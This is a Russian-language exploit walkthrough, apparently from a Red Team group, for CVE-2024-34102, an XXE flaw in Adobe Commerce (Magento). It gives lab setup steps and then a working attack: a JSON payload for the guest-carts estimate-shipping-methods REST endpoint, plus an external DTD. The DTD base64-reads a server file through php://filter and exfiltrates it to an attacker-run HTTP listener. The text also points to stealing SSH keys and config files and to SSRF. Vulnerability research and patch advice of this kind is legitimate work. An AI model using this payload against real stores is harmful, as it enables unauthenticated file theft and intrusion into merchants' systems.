XXE в Adobe Commerce (CVE-2024-34102)
Введение
Версии Adobe Commerce 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 и более ранние
подвержены уязвимости типа «Неправильное ограничение ссылки на внешнюю
сущность XML» (XXE), которая может привести к выполнению произвольного кода.
Злоумышленник может использовать эту уязвимость, отправив специально
сформированный XML-документ, который ссылается на внешние сущности.
Уязвимость имеет оценку в 9.8 баллов по CVSS.
Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.
Что такое Adobe Commerce
Adobe Commerce (ранее Magento) — это платформа для электронной коммерции,
предназначенная для создания и управления интернет-магазинами. Она
предоставляет инструменты для продаж, маркетинга, управления товарами и
аналитики, поддерживает кастомизацию и интеграции с другими системами.
Подготовка стенда
Для разбора уявзимости установим чистую Community Edition версию Adobe
Commerce 2.4.6.
Для начала, необходимо загрузить исходный код Adobe Commerce:
git clone https://github.com/magento/magento2.git
Но на данный момент команда выше загрузит последнюю версию исходного кода,
в которой уявзимость уже исправлена, поэтому необходимо в релизах найти
уявзимую версию и загрузить себе:
wget https://github.com/magento/magento2/archive/refs/tags/2.4.6.zip unzip 2.4.6.zip
Исходный код должен оказаться в директории, обслуживаемой веб-сервером,
обычно /var/www/html
.
Для установки зависимостей можно использовать composer внутри директории Magento (Adobe Commerce):
composer install
Для дальнейшей установки необходимо поднять MySQL и OpenSearch (или
Elasticsearch). Для запуска тестовой MySQL можно использовать XAMPP, Elasticsearch можно поднять в docker контейнере:
docker pull elasticsearch:7.17.19 docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" elasticsearch:7.17.19
Последним шагом будет запуск процесса установки Adobe Commerce:
bin/magento setup:install --base-url=http://127.0.0.1/ \ --db-host=localhost --db-name=magento --db-user=magento --db-password=magento \ --admin-firstname=Commerce --admin-lastname=User [email protected] \ --admin-user=admin --admin-password=admin123 --language=en_US \ --currency=USD --timezone=America/Chicago --use-rewrites=1 \ --search-engine=elasticsearch7
После этого в терминале появится ссылка на панель администрирования в
формате /admin_XXXXXX
. Adobe Commerce успешно установлен:
Разбор уязвимости
XXE (XML External Entity) — это тип уязвимости, связанный с обработкой XML-
документов, которая позволяет злоумышленнику выполнять атаки через внешние
сущности XML.
Внедрённая в XML-документ сущность может иметь вредоносный код, что
приведёт к утечке данных, отказу в обслуживании (DoS), выполнению
произвольного кода или другим последствиям.
Эта уязвимость часто возникает из-за неправильной настройки парсера XML,
который обрабатывает входные данные без должной проверки и обработки
внешних сущностей.
В endpoint'e REST API Adobe Commerce, находящемся по пути https://<domain>
/rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods
,
отрабатывает следующий XXE payload:
{ "address": { "totalsCollector": { "collectorList": { "totalCollector": { "sourceData": { "data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"**EXTERNAL ENTITY SOURCE**\"> %sp; %param1; ]> <r>&exfil;</r>", "options": 12345678 } } } } } }
Проверим, пытается ли сервер получить внешнюю XML-сущность. Для этого
поднимем слушатель:
python3 -m http.server 8989
Отправим payload на уязвимый endpoint:
Видим, что запрос пришёл, но файла нет:
Adobe Commerce работает на PHP, поэтому в качестве нагрузки можно
использовать PHP фильтры. Создадим файл dtd.xml:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1:8989/?exploited=%data;'>">
В первой строке содержимое файла /flag
кодируется в base64 и сохраняется в %data
, которая во второй строке подставляется в значение GET-параметра exploited
. Проверим работоспособность эксплойта:
Сначала сервер запрашивает внешнюю сущность, находящуюся в файле dtd.xml
,
затем исполняет находящейся в ней payload, получаем закодированный в base64
флаг:
Заключение
При помощи XXE был прочитан локальный файл, чего в некоторых случаях вполне
достаточно для развития атаки до удалённого исполнения кода (например, если
есть возможность прочитать конфигурационные файлы, ключи SSH и так далее).
Кроме того, возможно использовать уязвимость для подделки запросов от имени
сервера (SSRF). Уязвимость позволяет неавторизованному пользователю очень
легко провести атаку с серьёзными последствиями.
Если вы используете Adobe Commerce, рекомендуется обновиться до последней
версии, чтобы избежать возможной эксплуатации злоумышленниками.